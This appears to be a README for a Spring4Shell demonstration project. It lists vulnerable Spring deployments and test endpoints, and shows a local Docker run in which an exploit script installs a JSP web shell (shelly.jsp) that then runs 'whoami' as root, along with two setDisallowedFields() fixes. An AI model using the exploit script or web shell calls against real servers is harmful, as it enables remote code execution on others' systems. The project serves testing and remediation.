- spring-mvc (with spring-boot) deployed as a war to Apache Tomcat
- spring-boot war with jsp, to be run as
java -jar
- spring-boot jar without jsp, to be run as
java -jar
While the first spring-mvc in Apache Tomcat is vulnerable, the latter two types -- where spring-boot runs in Embedded Tomcat Servlet Container -- do not appear to be vulnerable. See also https://www.praetorian.com/blog/spring-core-jdk9-rce/
Initial rumors on the internet claimed that RestControllers where not impacted by this vulnerability but it appears that these are equally vulnerable.
The endpoints to test the application are:
/
,/request
,/rest/request
,/safe-request
or/rest/safe-request
/get
,/rest/get
/post
,/rest/post
/put
,/rest/put
Lastly, spring4shell-exploit.sh
is a standalone bash script for testing the exploit against any app.
- implement POC for CVE-2022-22963 SpEL
To run the spring-mvc demo, the war file needs to be deployed to a Tomcat container.
For convenience, there is a pre-built docker container. Here is how see the exploit in action:
# Run a sample vulnerable app
$ docker run -p 8080:8080 --rm spring4shell
# Install and run the exploit
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell-rce/request
# Try manually running (after a small delay)
$ curl --fail -v --output - 'http://localhost:8080/shelly.jsp?pwd=PeekAboo&cmd=whoami'
> GET /shelly.jsp?pwd=PeekAboo&cmd=whoami HTTP/1.1
> Host: localhost:8080
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/html;charset=ISO-8859-1
< Content-Length: 2291
<
root
The demo also contains two fixes.
One fix is to apply binder setDisallowedFields() at controller level:
# Run or restart the sample app.
$ docker run -p 8080:8080 --rm dotnes/spring4shell
# Try to install the exploit against safe controller. It should fail
# (Make sure the exploit was not previously installed)
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell/safe-helloworld
# Try manually running (after a small delay)
$ curl --fail -v --output - 'http://localhost:8080/shelly.jsp?pwd=PeekAboo&cmd=whoami'
curl: (22) The requested URL returned error: 404
Another fix is to apply setDisallowedFields() with a controller advice, for all controllers:
# Run or restart the sample app.
$ docker run -p 8080:8080 --rm -e APPLY_ADVICE=true spring4shell
# Install and run the exploit against unsafe controller. It should fail.
# (Make sure the exploit was not previously installed)
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell/request
curl: (22) The requested URL returned error: 404
# Run a sample vulnerable app
$ docker run -p 8080:8080 --rm spring4shell-spring-boot-war
# Try to install the exploit. It should fail
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell/request
curl: (22) The requested URL returned error: 404
# Run a sample vulnerable app
$ docker run -p 8080:8080 --rm spring4shell-spring-boot-jar
# Try to install the exploit. It should fail
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell/request
curl: (22) The requested URL returned error: 404
Big shout out to @maxxedev for creating the foundation of this project.